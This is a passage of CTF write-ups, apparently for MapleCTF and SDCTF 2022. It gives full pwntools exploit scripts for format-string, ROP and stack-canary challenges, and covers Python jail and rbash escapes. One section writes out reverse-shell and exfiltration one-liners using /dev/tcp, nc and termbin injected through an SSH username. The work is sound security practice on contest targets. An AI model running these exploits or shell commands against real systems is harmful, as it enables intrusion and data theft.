that moment i swear***) was `.bss:bss_start`, so i was like hm wait i can write to bss since its RW + + so i went to work on that + + haha lul guess what since bss_start is referenced after printf normal return somewhere and it segfaults if i change it i have to learn how to execute multiple format string changes anyway as im passing a "huge" string `/bin/sh` which is like 4 tries + + EVENTUALLY i figured it out (kinda) with the help of (funnily enough) a writeup from maple bacon themselves (https://ubcctf.github.io/2019/04/encryptctf-2019-pwn4/) which details on how to ignore overflowed bytes but then i realized it still wont work coz i need more than 1 pair of ptrs for triple reference as i explained above in how stack values wont get updated in a single format string + + BUT HAHA GUESS WHAT AGAIN OF COURSE BSS_START NEVER WAS IN `RDI` AGAIN IDEK WHERE I SAW IT + + it is now `debug002:_IO_stdfile_1_lock` which honestly makes more sense than bss_start coz its used in printf for threading + + so aha now i have to change my process AGAIN namely to see if the lock is consistently there and good thing it is and also cross versions too + + thank god the lock is writable (ofc) and so i just used the same stack modification technique to write to the lock the string `sh` to pass as argument + + its kinda funny since when it returns printf just decrements 1 from `sh` to be `rh` coz it releases the lock but thats easily fixable changing it to `th` + + either way after ages of tinkering i finally got a working script locally on the libc version i was testing on (at this point i finally realized libc was provided but i didnt think much about it) + + but haha of course when i try it on the server everything goes haywire and segfaults + + so i had to write A LOT of sanity checks to verify if the pointers get overwritten correctly, the stack locations are right, and the pointers are referencing correct data and codes + + i realized the `system` offset was off for some reason on libc-database so i changed it to that in the libc i downloaded from libc-database and disassembled, but the worst part is when i fixed it EVERYTHING is right and yet it still is segfaulting, and i was honestly out of ideas at that point + + but then a thought came to my head - what if i can link the libc they provided instead of the version i was testing on and see if it segfaults + + i didnt really think about it before, nor did i know it was possible, but `LD_PRELOAD=./libc.so.6 maplectf2022py/bin/python3 pwintfpwn.py test` did the job and it segfaulted + + i dont think IDA server can pass environment variables like that (or can it? idk didnt really test thoroughly) so i just started it with pwntools and the give a delay for me to attach IDA manually + + it also has an added benefit of being able to automate input too + + but yea through that i finally realized whats the actual problem - the pop chain resulted in a non 16 byte aligned `RSP`, which means the `movaps` that is only in the system func in the libc ver they used segfaulted due to that (https://stackoverflow.com/questions/67243284/why-movaps-causes-segmentation-fault) + + which means i just gotta pop 1 less register to shift RSP down back to aligned and use a less convenient stack address instead which was not really a big deal + + and ***FINALLY*** i got the flag `maple{h0p3_1t_d1dnt_t4k3_l0ng}` which was literally laughing at my face at this point :sob: + + and here is the final `printpwn.py` for automating the shell +```py +import sys +from pwn import * + +if len(sys.argv) > 1: + #offset_system = 0x47ad0 #test + #offset__IO__2_1_stdin_ = 0x3ce7e0 #test + offset_system = 0x55414 + offset__IO__2_1_stdin_ = 0x1eb980 + s = process('./pwintf') #test + + import time + time.sleep(10) #allow ida to attach +else: + offset_system = 0x55414 + offset__IO__2_1_stdin_ = 0x1eb980 + s = remote('pwintf.ctf.maplebacon.org', 32011) + +offset__IO_stdfile_1_lock = offset__IO__2_1_stdin_ + 0x2B40 + + + +s.recvline() #initial line +s.sendline(b'%p') # _IO_2_1_stdin_ + 0x83 +data = int(s.recvline().decode('utf-8'), 16) +# data = int(input(), 16) +print('[*] %p: ' + hex(data)) +libc_base = data - 0x83 - offset__IO__2_1_stdin_ +system = libc_base + offset_system +print('[*] libc base: ' + hex(libc_base)) +print('[*] system: ' + hex(system)) + +#for overwriting RDI to /bin/sh string for passing to system +io_stdfile = libc_base + offset__IO_stdfile_1_lock +print('[*] io_stdfile_1_lock: ' + hex(io_stdfile)) + +#get ret pointer to drop stack down 1 more +s.sendline(b'%9$p') # end of main()'s ptr +main_end = int(s.recvline().decode('utf-8'), 16) +# main_end = int(input(), 16) +print('[*] main end addr: ' + hex(main_end)) + +#for incrementing RSP to the libc ptr that we overwrite +popchain4 = main_end + 0x72 #see libc_ptr comment below - thats why we only need 4 pops now instead of 5 +print('[*] pop chain addr: ' + hex(popchain4)) + + + +#this roundabout way of referencing another ptr allows much more flexibility + +#get stack offset +s.sendline(b'%8$p') # random ptr that points to another stack value that is another stack pointer +data = int(s.recvline().decode('utf-8'), 16) +# data = int(input(), 16) +print('[*] %8$p (to-be libc ptr): ' + hex(data)) +ret_stack = data - 0x28 +print('[*] ret stack ptr: ' + hex(ret_stack)) +#libc_ptr = data + 0x8 #since libc ptr is not 16 bytes aligned it segfaults in older(?) libc +#print('[*] libc ptr (__libc_start_main+ED): ' + hex(libc_ptr)) +libc_ptr = data #so we use the empty %8$p instead +debug_ptr = data + 0xA0 +print('[*] debug001 ptr (audit_list_string+8): ' + hex(debug_ptr)) + + + +#huge sanity check for libc base +lp = libc_ptr & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' +s.sendline(fmtstr) +s.recvline() #discard +lw = (libc_base + 0x1) & 0x0000ffff +fmtstr = b'%.' + str(lw).encode('utf-8') + b'u%41$hn' +s.sendline(fmtstr) +s.recvline() #discard +lp = (libc_ptr + 2) & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' +s.sendline(fmtstr) +s.recvline() #discard +uw = ((libc_base + 0x1) & 0xffff0000) >> 16 +fmtstr = b'%.' + str(uw).encode('utf-8') + b'u%41$hn' +s.sendline(fmtstr) +s.recvline() #discard +s.sendline('%11$p') +print('[*] CHECK: this value be libc base', s.recvline()) +s.sendline('%11$s') +print('[*] CHECK: this value should include the word ELF', s.recvline()) + + + + +#point random stack address to reference libc ptr on stack +lp = libc_ptr & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' #might overflow to negative with a - with d, so u instead +print('[+] pointing %41$p to libc ptr with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + + +#overwrite libc ptr to system pt 1 +lw = system & 0x0000ffff +fmtstr = b'%.' + str(lw).encode('utf-8') + b'u%41$hn' +print('[+] pointing libc ptr 1/4 to system with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +#overwrite random stack address to reference libc ptr + 2 on stack +lp = (libc_ptr + 2) & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' +print('[+] pointing %41$n to libc ptr + 2 with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +#overwrite libc ptr to system pt 2 +uw = (system & 0xffff0000) >> 16 +fmtstr = b'%.' + str(uw).encode('utf-8') + b'u%41$hn' +print('[+] pointing libc ptr 2/4 to system with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +#point random stack address to reference libc ptr + 4 on stack +lp = (libc_ptr + 4) & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' #might overflow to negative with a - with d, so u instead +print('[+] pointing %41$p to libc ptr with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + + +#overwrite libc ptr to system pt 3 +lw = (system & 0x0000ffff00000000) >> 32 +fmtstr = b'%.' + str(lw).encode('utf-8') + b'u%41$hn' +print('[+] pointing libc ptr 3/4 to system with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +#overwrite random stack address to reference libc ptr + 6 on stack +lp = (libc_ptr + 6) >> 48 +fmtstr = '%.' + str(lp) + 'u%13$hn' +print('[+] pointing %41$n to libc ptr + 2 with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +#overwrite libc ptr to system pt 4 +uw = (system & 0xffff000000000000) >> 48 +fmtstr = b'%.' + str(uw).encode('utf-8') + b'u%41$hn' +print('[+] pointing libc ptr 4/4 to system with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + + + + +#sanity check for libc system if matches +s.sendline('%10$p') +print('[*] CHECK: this value should be the same as system', s.recvline()) +s.sendline('%10$s') +print('[*] CHECK: this value should be show', b'H\x85\xfft\x0b\xe9v\xfa\xff\xfff\x0f\x1fD\n', s.recvline()) + + +# for some reason its not bss_start anymore but debug002:_IO_stdfile_1_lock at system+0x389850??? +#overwrite same random stack address to reference libc ptr 2 for easier rewriting +lp = (debug_ptr) & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' +print('[+] pointing %41$n to debug ptr with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +lp = io_stdfile & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%41$hn' #let the printed chars carry over into 5th byte since it will be ignored +print('[+] overwrite debug ptr to point to io stdfile pt 1 with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +#part 2 +lp = (debug_ptr + 2) & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' +print('[+] pointing %41$n to debug ptr + 2 with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + +lp = (io_stdfile & 0xffff0000) >> 16 +fmtstr = '%.' + str(lp) + 'u%41$hn' #let the printed chars carry over into 5th byte since it will be ignored +print('[+] overwrite debug ptr to point to io stdfile pt 2 with', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + + +#sanity check +s.sendline('%30$p') +print('[*] CHECK: this value should be the same as _io_stdfile_1_lock', s.recvline()) +s.sendline('%30$s') +print('[*] CHECK: this value should be empty', s.recvline()) + + +#another big sanity check for popchain +lp = (libc_ptr - 0x10) & 0x0000ffff +fmtstr = '%.' + str(lp) + 'u%13$hn' +s.sendline(fmtstr) +s.recvline() #discard +lp = (popchain4 & 0x0000ffff) +fmtstr = b'%.' + str(lp).encode('utf-8') + b'u%41$hn' +s.sendline(fmtstr) +s.recvline() #discard +s.sendline('%9$p') +print('[*] CHECK: this value should be popchain addr', s.recvline()) +s.sendline('%9$s') +print('[*] CHECK: this value should be same as', b']A\\A]A^A_\xc3ff.\x0f\x1f\x84\n', s.recvline()) + + + + +#overwrite different random stack address to reference ret on stack - apparently its not updating if this is run in the same format string with the patching, prob due to stack alr being mov'd into register +lp = ret_stack & 0x0000ffff #since it is the same aside from the lower 4-5 bytes we only need to overwrite that +fmtstr = '%.' + str(lp) + 'u%13$hn' #%29$p is a pointer to %43$p +print('[+] pointing %41$hn to ret addr on stack', fmtstr) +s.sendline(fmtstr) +s.recvline() #discard + + +#sanity check +s.sendline('%41$p') +print('[*] CHECK: this value should be the same as ret addr on stack', s.recvline()) +s.sendline('%41$s') +print('[*] CHECK: this value should be within .text', hex(int.from_bytes(s.recvline(), byteorder='little'))) + + +#have to do the entire string of printfs together coz bss_start causes segfault if the program continues running #not using bss_start anymore but this still works +uw = int.from_bytes(b'th\x00', byteorder='little') #/bin/sh too long - system should be able to recognize this anyway - also for some reason the first byte gets decremented coz of the lock probably +fmtstr = '%.' + str(uw) + 'u%30$n' #print all 4 bytes +printed = uw + + +#overwrite return address to pop chain for popping closer to libc +lw = popchain4 & 0x0000ffff +lw = lw - printed if lw - printed > 0 else lw + 0x10000 - printed #let it overflow since byte 5 onwards is discarded #no need anymore since uw is small +fmtstr += '%.' + str(lw) + 'u%41$hn' +print('[+] overwriting io stdfile lock, and pointing ret stack addr to popchain with', fmtstr) +s.sendline(fmtstr) +s.recvline() + +s.interactive() #give back control after exploit +s.close() + +``` + +### wetuwn owiented pwogwamming + + this one is actually probably beginner rop - its just finding the return address, and building a rop chain on top; tbh i feel like its not worth 250pts lmao + + its just finding a good return address on the stack that we can access, write garbage until we reach that, and start chaining the rop gadgets above that + + it even kinda "guides" you from easy (chaining A and B in the correct order) to harder (passing argument to C using `pop rdi` gadget) + + the only tricky part for me was passing the argument - for some reason i brainfarted so hard and thought push is the one that stores stack value in register so i was trying to find other ways to pass the argument (like writing to RBP's ptr but it got overwritten as expected) + + another problem that is kinda unrelated to the entire thing is how no debuggers seem to want to debug the program when its opened by pwntools so i ended up having to nc it, attach debugger then run the pwn script lmao + + anyways heres the flag `maple{w-wop_is_pwetty_coow}` and the script: +```py +from pwn import * + +#context.binary = elf = ELF('./cpsc221/wetuwn-owiented-pwogwamming') +#rop = ROP(elf) +#print(rop.gadgets) + +#since somehow both gdb and IDA doesnt want to work with pwntools on this binary ill just use nc to pipe with +#nc -l 127.0.0.1 -p 4000 | ./wetuwn-owiented-pwogwamming +#s = remote('127.0.0.1', 4000) +s = remote('wetuwn-owiented-pwogwamming.ctf.maplebacon.org', 32018) + +#payload chain goes down due to endbr64 +payload = p64(0x40126D) #A +payload += p64(0x40128B) #B +payload += p64(0x4013c3) #pop rdi to set argument +payload += p64(0xDEADBEEF) #set the actual argument for popping +payload += p64(0x4012B4) #C +payload += p64(0x4011D6) #win + +#0x80 until return address - we build beyond that +#entire string is passed to C as argument so we can just put deadbeef at front +s.sendline((b"A" * 0x78) + payload) +#for some reason argument is reading the top 8 bytes? not questioning +#also ebp is set on leave as the value above current RSP at vuln endp thats why we put the argument there +print(s.recvall()) +``` + +### whats up sys? + + lol once you realize you just gotta overwrite the syscall id to write instead of exit in `getFlag()` its over lmao + + well i guess you also have to realize `overwrite()` only overwrites a byte worth of data pretty much coz it uses `dl` register + + which i didnt and was trying to write to the entire instruction for whatever reason lmao + + but yea basically just enter `1572` which is the offset of `0x3C` at `mov edi, 3Ch`, then enter `1` for the syscall id (`write` to file descriptor 1 aka `stdout` the contents of fgets'd string) + + and voila `maple{W1ck3D_5h0oT1N9_C4pT41n!}` + + i forgot how easy some of the <200pts challs are lmao + + +### **ARISTA** challenge + + holy shit i didnt think i would actually be able to finish this chall lol i was so lost when i started it + + but i didnt realize i was actually this close before giving up i was on the right track + + part of it is because i didnt expect it to be yet another pyjail in disguise tbh lmfao + + anyways here is the entire recall from day 1 to day 7 of my attempts from what i still remember + * * * + + when i first started doing the challs on day 1, of course i was really tempted to grind this chall since it was by far the highest pts of any chall that was released at that point (400 vs <200~250), so i started digging into it + + i saw the binary `py_auth`, and decided to dig into it instantly (at this point there was no hints on how to solve the chall aside from a single ip given) + + so after some preliminary analysis, i realized it is an embedded python application that does a really weird `startAuth` call that does nothing but print the username, and that the escape function was extremely inadequate since it only escaped backslashes + + so of course i started to do some SQL-injection like tactics with python code to try to run arbitrary codes, and ey not long after i got the string `e')#` which i can put arbitrary code between `)` and `#` to execute (note: notice how i have to use multiple lines of code with `;` and how i have a `e` at this point - this will be important when it comes to day 7 progress) + + so i know how there is a live system with an ip, and how this looks like a pyjail problem, so i deduced that there should be something similar to an nc endpoint that i might be missing + + but of course there aint - the port is not shown, not to mention after nmapping for ages i only found `ssh` port being open (note: this will show up again on day 2 progress) + + so after asking the organizers if this was intended, which they clarified it was, i kinda gave up coz i cannot seem to find anything thats problematic with the ssh endpoint after some preliminary poking around aside from it using `keyboard-interactive` mode (note: another important thing in day 2 progress) + + i reasoned that ssh is one of the most important things of a server and is usually extremely secure, so that must not be what i have to poke around on (note: lol how wrong) + + so i went back to the py_auth app to dig around and see if theres any useful data, and after a long time i concluded there was no way there would be any + + i also annotated pretty much everything in the main function just as a sanity check that im not missing something: +```cpp +int __cdecl main(int argc, const char **argv, const char **envp) +{ + __int64 v3; // rax + __int64 v4; // rax + __int64 v5; // rax + int v6; // ebx + __int64 v7; // rax + _QWORD *v8; // rax + __int64 v9; // rax + __int64 v10; // rax + __int64 v11; // rax + __int64 v12; // rax + char v14[16]; // [rsp+10h] [rbp-1C0h] BYREF + __int64 v15; // [rsp+20h] [rbp-1B0h] BYREF + _QWORD *v16; // [rsp+180h] [rbp-50h] + char v17[8]; // [rsp+188h] [rbp-48h] BYREF + __int64 v18; // [rsp+190h] [rbp-40h] + __int64 v19; // [rsp+198h] [rbp-38h] + __int64 v20; // [rsp+1A0h] [rbp-30h] + __int64 v21; // [rsp+1A8h] [rbp-28h] + __int64 v22; // [rsp+1B0h] [rbp-20h] + void *ptr; // [rsp+1B8h] [rbp-18h] + + if ( argc > 1 ) + { + ptr = (void *)argv[1]; + Py_Initialize(); + v22 = PyImport_ImportModule("__main__"); // prepare globals + v21 = PyModule_GetDict(v22); + PyModule_New("mymod"); // make new mod for local dict + v20 = v7; + PyModule_AddStringConstant(v7, "__file__", &unk_4014CD);// PyModule_NewObject must specify __file__, so set it to empty string + v19 = PyModule_GetDict(v20); + v18 = PyEval_GetBuiltins(); + PyDict_SetItemString(v19, (__int64)"__builtins__", v18);// populate mymod with builtin + v8 = (_QWORD *)PyRun_StringFlags((__int64)pyfunc, 257LL, v21, v19, 0LL);// define startAuth as specified in string + v16 = v8; + if ( !--*v8 ) + (*(void (__fastcall **)(_QWORD *))(v16[1] + 48LL))(v16);// if return is NULL, throw exception and fail (SIGABRT) + std::operator|(0x10u, 8); // read write flags - iosbase + std::basic_stringstream,std::allocator>::basic_stringstream(); + if ( ptr ) // open stream for user interactive + { + ptr = escape((const char *)ptr); // poorly written escape function - escapes \ to \\ + if ( !ptr ) + { + v9 = std::operator<<>(&std::cout, "Username escape failed..."); + std::ostream::operator<<(v9, (__int64)&std::endl>); + v6 = -1; +LABEL_10: + std::basic_stringstream,std::allocator>::~basic_stringstream((__int64)v14); + return v6; // stream destructor and return + } + v10 = std::operator<<>(&v15, "startAuth(user='"); + v11 = std::operator<<>(v10, ptr);// "startAuth('" + userInput + "')" + std::operator<<>(v11, "')"); + free(ptr); + } + std::basic_stringstream,std::allocator>::str((__int64)v17, (__int64)v14); + v12 = std::string::c_str((std::string *)v17);// convert stream to string, can result in dangling pointer; useful? + v16 = (_QWORD *)PyRun_StringFlags(v12, 257LL, v21, v19, 0LL);// run startAuth with user input + std::string::~string((std::string *)v17); // destroy and finalize and prepare to return + Py_Finalize(); + v6 = 0; + goto LABEL_10; + } + v3 = std::operator<<>(&std::cout, "Usage: "); + v4 = std::operator<<>(v3, *argv);// print help if no arg found + v5 = std::operator<<>(v4, " "); + std::ostream::operator<<(v5, (__int64)&std::endl>); + return -1; +} +``` + + and so with that i gave up for the day and moved on to other challs + * * * + + day 2 - i was working on other challs (funnily enough it was pyjail 2) when i saw a ping in the announcement channel on discord: a new series of challs got announced, along with a hint for this chall: + - it is confirmed that ssh is the correct thing we should tackle + - it is related to an arista EOS (note: this did more harm than good as you will see as i progress) + + so i went right back to this chall after finishing what i had on hand, and this time i actually noticed something new: the ssh username checker returns `\`s as `\\`s in the username whenever i type that in, which is SUSPICIOUSLY like the escape function i saw in `py_auth` + + so i reasoned that the username actually runs something similar to `py_auth`, and i got to work trying to use the methods i did ACE on `py_auth` with + + but a few hours passed and i did not get any progress beyond realizing it is a possibility that when i input something that has invalid python code it would instantly return `Permission denied` instead of the usual 3 password prompts first (note: why it doesnt work will be explained in day 7, and its related to my first note about `e')#`) + + since i had no way to tell if im even on the right track, and with the amount of time ive wasted on this, i gave up and did other challs instead especially considering how other teams were catching up already + + and this went on for pretty much the entire week - we were neck to neck with the second place most of the time, and with weekend being over and school starting again, i had no time to go revisit this chall which i deemed quite impossible to solve at that moment + + and this brings us directly to day 6 night + * * * + + day 6 night - we have basically cleared all of the challs, and we were looking for ways to secure our position as the 1st so we decided to revisit arista along with other seemingly impossible/too time consuming challs + + it still felt quite futile, but my teammate actually thought of some of the things that i hadn't thought about, which is that it might be crucial that there is only effectively a single line of code which is the `startAuth` call and nothing else (note: this actually solved 1/2 of the problems i had with my old `py_auth` exploits, namely the `;` being rejected by instant permission deny) + + so we went ahead and derived methods to call methods while still technically being a single function call - this is where i got my `.format` method idea, along with making a huge list comprehension `[i for i in range(10000000)` in place of `import time; time.sleep(5)` to verify if our code is running since we cannot get any form of text output + + just like day 2 though, we were getting nothing but weird `Permission denied` and useless password prompts, which made us pretty much give up again + + which brings us to right now, day 7 midnight where i was just gonna test some more things out before heading to bed + * * * + + day 7 midnight - after having unnecessarily tough luck with birb (i got the exploit working locally with multiple libc versions (had to fix movaps stack alignment just like in pwintf) but it is still dying on remote for some reason), i decided to revisit arista for possibly the last time instead + + while i was tinkering with the exploits i had, since i was quite convinced it was related at this point with how its named and all the weirdness i noticed before, i actually got a entirely new prompt that ive never seen - instead of prompting for just password, it now also prompts for username when i input `')#` instead of `e')#` + + my reasoning is that the former string results in an empty username, which makes the auth ask for username again, but when i pass just an empty string as username i just get permission denied so im not sure + + maybe its due to some other username checks before the python codes but thats not quite important + + the important part is that now i got a concrete response that i can move on to - and so the first thing i tried was the things i discussed with my teammate yesterday + + and EY `ssh -l "'.format([i for i in range(100000000)]))#" 54.215.139.152` actually waits for an unusually long time verifying my code is actually running + + so forcing the username prompt to show up seem to be a must for codes to run + + and now the only thing thats left is to obtain a shell somehow - and my pyjail knowledge from HKCERT CTF is now flooding back + + so i tried multiple things from `exec()` (which doesnt work well coz its python 2), `open()` (which idk what to open in the first place anyway) and finally to "reflective" features of python like `__builtins__`and `__import__` + + i hit some roadblocks along the way, but it was relatively easy to solve by first testing with `python2 -c "print (' ')` to get syntax errors, then `./py_auth ` to filter out things python2 missed, then finally ssh to see if it still shows the username prompt as if its running normally + + and i landed on `'.format(__builtins__.__import__('os').system('sh')))#` - it ran perfectly fine on all 3 tests, so i tried to think if theres any way to pipe this shell i obtained to an external endpoint + + i first tried to execute a `HTTP GET` using `curl` that has a subshell piping into the url, so i can check my web server logs for exfiltrated data but i realized i cant really pipe that much data - if it has even just a space i would only get a part of the data + + so i went to use some pastebin-like services that allow uploading data really easily through `nc`, and so i just used that and piped the returned url through a curl request with `curl https:///\$(ls | nc termbin.com 9999)'` + + except this worked on both python2 and py_auth, but not remote - it either did nothing or failed with instant permission deny + + but then i realized why not just host a nc endpoint so i can bypass the need of `curl` entirely, and so i arrived at `'.format(__import__('os').system('ls | nc -q 1 13575')))#` and listening with `nc -l 13575` on my server + + except it still did nothing even though both python2 and py_auth worked locally, so i reasoned that the remote server had no `nc` at all + + so i searched up how to do a connection without `nc`, and i stumbled upon piping to `/dev/tcp//`, so the first thing i did was a `'.format(__import__('os').system('ls > /dev/tcp//13575')))#` and EYYYY it worked + + not long after i stumbled upon a even more useful syntax `'sh -i 5<> /dev/tcp//13575 0<&5 1>&5 2>&5'` that just opens up a reverse shell, and so i started using this with `ssh -l "'.format(__import__('os').system('sh -i 5<> /dev/tcp//13575 0<&5 1>&5 2>&5')))#" 54.215.139.152` instead + + at this point all thats left is to figure out what is actually the flag, which is genuinely a trivial matter compared to other parts of this chall or even other challs + + i thought the weird `tmp5THX4t` file name might be the flag since i had no hints on what the flag should look like, but it was not it so i continued looking everywhere + + i initially thought of grepping all file names from `/` to find `flag`, but it felt like it'd take way too long and i wanna sleep + + but then i remembered someone actually got here before me and even left a `hello.txt` as an "i was here" note LMAO so why not check `.bash_history` of `/root/` since it probably wouldve saved their commands + + and yep it was right there `/etc/flag.txt` lmaooo saved me time + + so yea here the flag is `JgnevhfTQXjZopzPLsspPOt0s9v4Gsxu`, and its wrapped form `maple{JgnevhfTQXjZopzPLsspPOt0s9v4Gsxu}` + + what a journey lmao + +### birbs + + the only reason why i was really struggling with this chall is prob coz i used the wrong ver of the binary lmao but its just a straightforward canary bruteforcing then overwrite return address exploit + + along with the slow ass response from the remote server + + like the script pretty much says how to do the chall itself tbh +```py +from pwn import * + +#canary bruteforcing like this is only effective against read() not gets() - https://pollevanhoof.be/nuggets/buffer_overflow_linux/4_stack_canaries + +#context.binary = ELF('./birbs') + +#io = remote('127.0.0.1', 4000) +io = remote('birbs.ctf.maplebacon.org', 32021) + +canary = b'' + +while len(canary) < 8: + for i in range(0x100): #0xFF inclusive + io.recvuntil('Give up.\n') + io.sendline('1') + io.recvline() #ignore prompt + payload = b'A' * 0x28 #padding until canary + payload += canary + bytes([i]) #guess canary byte by byte + io.send(payload) + if 'exit' in io.recvline().decode('utf-8'): + canary += bytes([i]) + print('canary so far', canary) + break + + +#final send +io.sendline('1') +io.recvline() #ignore prompt + +# import time +# time.sleep(10) #debugger attach before final payload only since canary is working + +#assemble final payload +payload = b'A' * 0x28 #padding until canary +payload += canary #canary value from brute force +payload += p64(0x4012CC) #padding until ret with ret gadget +payload += p64(0x4012CC) +payload += p64(0x4012B6) #new cave_exit() + +# OLD CODE YIKES THATS WHY IT WAS CRASHING BRUH I FORGOT THEY CHANGED THE BINARY +#payload += p64(0x4012AC) #just a ret to align pointer for movaps in system() just in case they used a libc ver with that like pwintf +#payload += p64(0x4013EB) #cave_exit() branch + +print('final payload', payload) +io.sendline(payload) +io.sendline('ls') +io.sendline('cat flag.txt') +io.interactive() +``` + + + + + diff --git a/ctfs/comments/sdctf22.md b/ctfs/comments/sdctf22.md new file mode 100644 index 0000000..e4547ee --- /dev/null +++ b/ctfs/comments/sdctf22.md @@ -0,0 +1,214 @@ +### symcalcpy + +only calculator symbols aka no words + +aside from first word that the calc pushes onto the interactive console - which must be alphabets + +interactive console can retrieve values using `_` - sth i learnt while watching jason use it for radare and binja lol coz i never use interactive console + +all thats left is to find a way to unwrap dicts into lists which the * list unpacking operator works excellently +```py +globals #get globals as _ +_1=_ #persist +_2=_1()[[*_1()][2]] #builtins +_3=_2[[*_2][14]] #chr +_4=_2[[*_2][20]] #exec +_4(_3(105)+_3(109)+_3(112)+_3(111)+_3(114)+_3(116)+_3(32)+_3(111)+_3(115)+_3(59)+_3(32)+_3(111)+_3(115)+_3(46)+_3(115)+_3(121)+_3(115)+_3(116)+_3(101)+_3(109)+_3(40)+_3(39)+_3(115)+_3(104)+_3(39)+_3(41)) #exec('import os; os.system(\'sh\')') +``` + +although turns out octal escapes in python is also numbers `\011` for example which i couldve used instead of chr + +and also `breakpoint()` exists lmao which i can then invoke `interact` and get a unrestricted shell with that +``` +First answer a question: +What is your favorite word? breakpoint + +Happy calculating! And don't even try to hack! +> _() +> --Return-- +> > (1)()->None +> (Pdb) interact +> *interactive* +> >>> import os; os.system('ls'); +> flag.txt +> symcalc.py +> 0 +> >>> +``` + +### bit flipping machine + +input must be upper case chars, no length limit + +characters are processed in pairs in the for loop, independently + +so why not just map out what the arithmetic is doing in the loop thats the only part that matters (aka not c++ string manipulation stuff lol) + +after translating to python and mapping from AA-ZZ, i eventually realized its selecting an index and selecting a bit mask to xor with +```py +#use this to get the map of what bit each pair of character flips +for v15 in upper: + for v16 in upper: + index = (v16 - 65 + 26 * (v15 - 65)) // 8 + sc = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:] + print(chr(v15), chr(v16), index, (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + #print(chr(v15), chr(v16), sc) +``` + +which performs exactly the bit flipping said in the chall desc lol + +well then all thats left is to map which bits to flip and thats it for the first part + +second part is figuring out that the loop reads null terminator while the length check reads c++ string length integer instead so theres a mismatch if we send them null bytes before hitting a line feed which makes the second part solvable + +(below is for second part but first part can be mapped in the same way) +```py +#get a comparison for checking the bits to flip +print([c + " " + bin(ord(c)) for c in '1000 USD']) +print([c + " " + bin(ord(c)) for c in '9999 BTC']) + +#s = 'rm -rf /trash/' +s = 'Send Mallory 1000 USD' + + +#t = 'CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ' +t = 'EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL' + +#length check - must be multiple of 4 +print(len(t) & 3) + +#perform flipping after manually determining which bit to flip on which char using the map +for i in range(0, len(t), 2): + v15 = ord(t[i]) + v16 = ord(t[i+1]) + index = (v16 - 65 + 26 * (v15 - 65)) // 8 + s = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:] + +#print(bin(ord(s[13]))) #for debugging which bit we flipped wrong + +print(s) #check final result +``` + +then just send the string obtained lol +```py +from pwn import * + +p = remote('flip.sdc.tf', '1337') + +p.sendline('CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ') +p.recvuntil('9999 BTC') +p.sendline('EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL\0\0') #for loop loops until null terminator, but c++ length checks whole string until \n which finishes getline +p.interactive() +``` + +(this is easily doable automatically but i was aiming for first blood so i manually did them all lol) + + +### flag hoarder + +open core, see program argument is `/home/knox/Downloads/a.out ./flag.txt.bz2 ./password.txt` + +extract part of elf using `info proc mapping` -> `dump memory core.bin, 0x555555554000, 0x55555555FFF` (0x555555556000 is unreadable) + +decompile whatevers decompilable, realize its opening files in argument and xoring something and pretty much not doing anything else + +strings core file for `password`, see the very secret password, assume its the password we need and xor it according to guessing from decompilation + +get bamboozled by the line feed and wonder why bz2 is dying until i opened the dump in hex editor and saw the 0A right after the password + +add it and tada + +solve script: +```py +import bz2 + +pw = b'this is my very secret password mwahahaha\n' + +with open('enc', 'rb') as enc: + e = bytearray(enc.read(-1)) + for i in range(len(e)): + e[i] ^= pw[i % len(pw)] + + print(bz2.BZ2Decompressor().decompress(e, max_length=len(e)-10)) +``` + +### turing complete safeeval + +pwnlib safeeval checks opcode, which means i gotta learn pyc bytecodes + +was testing what makefunction and loadfunction does, since thats the only thing they added for this chall to an otherwise proven fortified implementation + +then i realized lambda can smuggle data +```py +import dis +c = compile("lambda x: ().__classes__.__subclasses__()", '', 'eval') + +#thus we can break safeeval jail using this since lambda smuggles code +#(lambda: ().__class__.__base__.__subclasses__()[132].__init__.__globals__["system"]("sh"))() + +print(dis.Bytecode(c)) +print(dis.dis(c)) +``` + +originally assigned lambda then called it, but that triggers `LOAD_NAME` which aint allowed + +but we can call it directly after defining + +whew flag + + +### rbash warmup + +since rbash only restricts command use, doesnt restrict arguments, use netcat to exec bash + +local nc needed since host cannot communicate with outside services at all + +so make 2 ncs and background both then foreground the listener to interact with bash +```sh +nc -v -l -n 127.0.0.1 -p 1337 & +nc 127.0.0.1 1337 -c /bin/bash & +fg 1 +``` + + +### internprise encryption + +i translated it to z3 script without realizing its unicode based and unicode is variable length lol so `rb` wouldnt work + +once [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) pointed that out to [@kever](https://maplebacon.org/authors/vEvergarden/) i solved it with z3 after dealing with extra signed bits + +hey first z3 solve i guess +```py +from z3 import * + +s = [] +sol = Solver() + +with open('flag.txt', 'r', encoding='utf-8') as enc: + ef = enc.read() + + for i in range(len(ef)): + s += [BitVec('c' + str(i), 8)] + x = SRem((s[i] + i * 0xf), 0x80) 